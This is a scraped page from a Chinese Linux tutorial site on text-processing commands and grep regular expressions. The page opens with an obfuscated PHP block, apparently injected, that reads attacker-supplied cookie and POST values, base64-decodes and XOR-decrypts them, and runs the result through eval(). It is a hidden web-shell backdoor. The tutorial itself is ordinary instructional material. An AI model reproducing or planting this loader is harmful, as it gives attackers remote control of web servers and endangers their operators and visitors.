$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 文本处理工具与正则表达式 | Linux运维部落

文本处理工具与正则表达式

一、文本处理工具

    1.文本查看命令

          cat [OPTION]… [FILE]…

        -n 显示行号

        -b 空格行不加行号,有字符的行才加

        -s  相邻的空行压缩为一行,长和-n联用

        -v 处理windows中的^M

        -T 可以看到tab\space

        -A  显示所有控制符(包括windows文本中的^M,^T)

        -E  显示行结束符$ (回车)

      

         tac [OPTION]… [FILE]…  将每个指定文件按行倒置并写到标准输出。

                         效果与cat 相反

         rev  将指定文件从最后一个字符开始显示到第一个字符。

     

             效果比较:

    文本处理工具与正则表达式

cat.PNG

    

    2.分页查看文件内容

        more 分页查看文件(无法向前面翻, 只能往后面看)

        more [OPTIONS…] FILE…

        -d: 显示翻页及退出提示

        常用快捷操作:

        Enter    向下n行,需要定义。默认为1行

        Ctrl+F   向下滚动一屏

        空格键  向下滚动一屏

        Ctrl+B  返回上一屏

        =       输出当前行的行号

        :f     输出文件名和当前行的行号

        V       调用vi编辑器

        !cmd  调用Shell,并执行命令 

        q        退出more

        less 一页一页地查看文件或STDIN输出(与more类似,但是支持上下翻)

        常用快捷操做:

        /字符串:向下搜索“字符串”的功能

        ?字符串:向上搜索“字符串”的功能

        n:重复前一个搜索(与 / 或 ? 有关)

        N:反向重复前一个搜索(与 / 或 ? 有关)

        b  向后翻一页

        d  向后翻半页

        h  显示帮助界面

        Q  退出less 命令

        u  向前滚动半页

        y  向前滚动一行

        空格键 滚动一行

        回车键 滚动一页

        [pagedown]: 向下翻动一页

        [pageup]:   向上翻动一页

    3.显示文本前、后行内容

        head  显示指定文件的开头至标准输出中

        head [OPTION]… [FILE]…

        -c #: 指定获取前#字节

        -n #: 指定获取前#

        -#: 指定行数

         tail  显示指定文件的结尾至标准输出中

        tail [OPTION]… [FILE]…

        -c #: 指定获取后#字节

        -n #: 指定获取后#行

        -#:  指定从结尾开始的#行内容

        +#: 指定从开头开始的#行内容

        -f: 跟踪显示文件新追加的内容,常用日志监控

        常用方法:tail -n 0 -f file &  (放入后台跟踪文件新追加的内容,有新加入内

                             容则弹出)

    4.文本抽取、合并

        cut [OPTION]… [FILE]…    按列抽取文本指定内容

        -d 分隔符   : 指明分隔符,默认tab

        -f FILEDS:

        #: 第#个字段

        m,n [ ,#]:离散的多个字段,例如1,3,6

        m-n:连续的多个字段, 例如1-6

        混合使用: 1-3,7  取1至3,第七字段

        -c 按字符切割

        -c M-N 取第M-N个字符之间的内容

        –output-delimiter=STRING指定输出分隔

        使用示例:

        cut -d: -f1 /etc/passwd

        cat /etc/passwd | cut -d: -f7

        cut -c2-5 /usr/share/dict/words

        paste 合并两个文件同行号的列到一行

        paste [OPTION]… [FILE]…

        -d 分隔符 :指定分隔符,默认用TAB

        -s : 所有行合成一行显示

        使用示例

        文件f1:                        文件f2 :

        1                                 a

        2                                 b

        3                                 c

        4                                 d

        文本处理工具与正则表达式paste.PNG

    5.文本数据统计

          wc     统计指定文件中的字节数、单词数、行数, 并将统计结果显示输出

              直接使用 wc file —>

                行数      字数      字符数(= 字节数)  

               常用选项:

            -c, –bytes统计字节数

            -m, –chars  统计字符数

            -l, –lines  统计行数

            -L, –max-line-length  统计最长行的长度

            -w, –words 统计单词数

    6.文本排序

         sort 把整理过的文本显示在STDOUT,不改变原始文件

        $ sort [options] file(s)

        常用选项

        -r 执行反方向(由上至下)整理

        -n 执行按数字大小整理

        -f 选项忽略( fold)字符串中的字符大小写

        -u 选项(独特, unique)删除输出中的重复行

        -t c 选项使用c做为字段分隔符

        -k X 选项按照使用c字符分隔的X列来整理能够使用多次

        uniq命令:从输入中删除重复的前后相接的行

        uniq [OPTION]… [FILE]…

        -c: 显示每行重复出现的次数;

        -d: 仅显示重复过的行;

        -u: 仅显示不曾重复的行;

        连续且完全相同方为重复

        常和sort 命令一起配合使用:

        sort userlist.txt | uniq -c

    7.文件比较

     比较两个文件之间的区别

        $ diff foo.conf-broken foo.conf-works

        5c5

        < use_widgets = no

        —

        > use_widgets = yes

         注明第5行有区别(改变)

    diff 命令的输出被保存在一种叫做“补丁”的文件中

        使用 -u 选项来输出“统一的( unified)” diff格式文件,最适用于补丁文件。

        patch 命令复制在其它文件中进行的改变(要谨慎使用!)

        适用 -b 选项来自动备份改变了的文件

        $ diff -u foo.conf-broken foo.conf-works > foo.patch

         #将两个文件的不同之处保存至备份文件中

        $ patch -b foo.conf-broken foo.patch     #恢复备份信息

    

二、正则表达式

    1.grep: Global search REgular expression and Print out the line.

        作用:文本搜索工具,根据用户指定的“模式”对目标文本逐行进行匹配检查;

        打印匹配到的行;

        模式:由正则表达式字符及文本字符所编写的过滤条件

        grep [OPTIONS] PATTERN [FILE…]

        使用示例:

            grep root /etc/passwd

            grep "$USER" /etc/passwd

            grep '$USER' /etc/passwd

            grep `whoami` /etc/passwd

        常用选项:

            –color=auto: 对匹配到的文本着色显示;

            (CentOS7中,默认已经使用命令别名

            alias grep = grep –clor=auto)

             -v: 显示不能够被pattern匹配到的行;

             -i: 忽略字符大小写

             -n: 显示匹配的行号

             -c: 统计匹配的行数

             -o: 仅显示匹配到的字符串;

             -q: 静默模式,不输出任何信息

             -A #: after, 后#行

             -B #: before, 前#行

             -C #: context, 前后各#行

             -e:实现多个选项间的逻辑or关系

        eg:  grep –e ‘cat ’ -e ‘dog’ file

             -w:整行匹配整个单词

             -E:使用ERE 拓展表达式

    2.正则表达式

      REGEXP:由一类特殊字符及文本字符所编写的模式,其中有些字符(元字符)不表示字符字

           面意义,而表示控制或通配的功能

         程序支持: grep, vim, less,nginx等

       分类:

        基本正则表达式: BRE

        扩展正则表达式: ERE

        grep -E, egrep

       正则表达式引擎:

        采用不同算法,检查处理正则表达式的软件模块PCRE( Perl Compatible Regular

        Expressions)

       元字符分类:字符匹配、匹配次数、位置锚定、分组

        帮组信息: man 7 regex

        字符匹配:

            . : 匹配任意单个字符;

            [ ] : 匹配指定范围内的任意单个字符

            [^] :匹配指定范围外的任意单个字符

            [:digit:]、 [:lower:]、 [:upper:]、 [:alpha:]、 [:alnum:]、                       [:punct:]、 [:space:]

            文本处理工具与正则表达式

文本处理工具与正则表达式

文本处理工具与正则表达式

    文本处理工具与正则表达式

        匹配次数:用在要指定次数的字符后面,用于指定前面的字符要出现的次数

            *:匹配前面的字符任意次,包括0次

            贪婪模式:尽可能长的匹配

            .*:任意长度的任意字符

            \?:匹配其前面的字符0或1次

            \+:匹配其前面的字符至少1次

            \{m\}:匹配前面的字符m次

            \{m,n\}:匹配前面的字符至少m次,至多n次

            \{,n\}:匹配前面的字符至多n次

            \{m,\}:匹配前面的字符至少m次

         位置锚定:定位出现的位置

            ^:行首锚定,用于模式的最左侧

            $:行尾锚定,用于模式的最右侧

            ^PATTERN$: 用于模式匹配整行

            ^$: 空行

            ^[[:space:]]*$ :空白行

            \< 或 \b:词首锚定,用于单词模式的左侧

            \> 或 \b:词尾锚定;用于单词模式的右侧

            \<PATTERN\>:匹配整个单词

        分组

            \(\):将一个或多个字符捆绑在一起,当作一个整体进行处理,

            如: \(root\)\+

            分组括号中的模式匹配到的内容会被正则表达式引擎记录于内部的变量中,

            这些变量的命名方式为: \1, \2, \3, …\1: 从左侧起,

            第一个左括号以及与之匹配右括号之间的模式所匹配到的字符;

            实例:  \(string1\+\(string2\)*\)

            \1: string1\+\(string2\)*

            \2: string2

            后向引用:引用前面的分组括号中的模式所匹配字符(而非模式本身)

               3.egrep 拓展正则表达式

            egrep = grep -E

            egrep [OPTIONS] PATTERN [FILE…]

            扩展正则表达式的元字符:

            字符匹配:

            . 任意单个字符

            [] 指定范围的字符

            [^] 不在指定范围的字符

        次数匹配:

            *:匹配前面字符任意次

            ?: 0或1次

            +: 1次或多次

            {m}:匹配m次

            {m,n}:至少m,至多n次

        位置锚定:

            ^ :行首

            $ :行尾

            \<, \b :语首

            \>, \b :语尾

        分组:

            ( )

            后向引用: \1, \2, …

             或者:

            a|b

            C|cat: C或cat

            (C|c)at:Cat或cat

    

原创文章,作者:ldt195175108,如若转载,请注明出处:http://www.178linux.com/29896

(1)
上一篇 2016-08-08 16:16
下一篇 2016-08-08 16:16

相关推荐

  • 第五周着重练习扩展正则元字符及find命令

    1、显示当前系统上root、fedora或user1用户的默认shell; grep -E "^(root|hadoop|user1)\>" /etc/passwd |cut -d":" -f1,7 2、找出/etc/rc.d/init.d/functi…

    Linux干货 2016-12-13
  • Liunx获取信息帮助与man文档章节的划分

    首先要判断命令的类型,可用 type COMMAND 来判断命令 如果显示结果为(….是 shell内嵌)即为shell内嵌命令,如需获取帮助,使用 help COMMAND 即可; 下图的例子是pwd是shell内嵌命令 内部命令属于Shell的一部分,所以并没有单独对应的系统文件,只要Shell解释器被运行,内部指…

    2017-07-02
  • 文件权限解析

    文件权限其实就是用户和用户组对文件或目录进行操作的权力。 文件的属性           上图中显示详细信息文件的详细属性,以最后一行为例从左向右依次说明:     1、drwxr-xr-x.    …

    2015-03-23
  • 马哥linux2014|2015全套教程

    1、本课程全程将基于集成了Openstack云环境、支持高精度时间(PTP)及虚拟化性能大大提升的RHEL 6.5或CentOS 6.6,间或介绍CentOS 7系统的使用; 2、此文章给出的只是个课程知识点框架,实际讲解过程相当精细;另外,知识点讲授的次序未必同此文章所标示的顺序相同; 3、第15期面授班定于2015年3月24号开课;本期将会是马哥教育数年…

    Linux干货 2015-07-14
  • CentOS 6系统启动流程

    Linux系统的组成 内核+根文件系统 内核功能:     进程管理、内存管理、文件系统管理、网络管理、安全功能、驱动程序 运行中的系统环境可分为两层:内核空间、用户空间     用户空间:应用程序(进程或线程)     内核空间:内核代码…

    Linux干货 2016-09-15
  • Linux中的网络功能概念介绍(一)

      在操作系统中,进程之间的通信是用ipc(内存基本通信)以及内存共享shm来实现本地的通信,那么如果跨主机间通信或者说是不同之间的主机用rpc(远程过程调用)以及socket套接字,用一个主机在socket中写数据,另一个主机在socket之间读数据,以实现进程通信的最终目的。   在网络功能出现之前,基本都是用电话…

    Linux干货 2016-11-23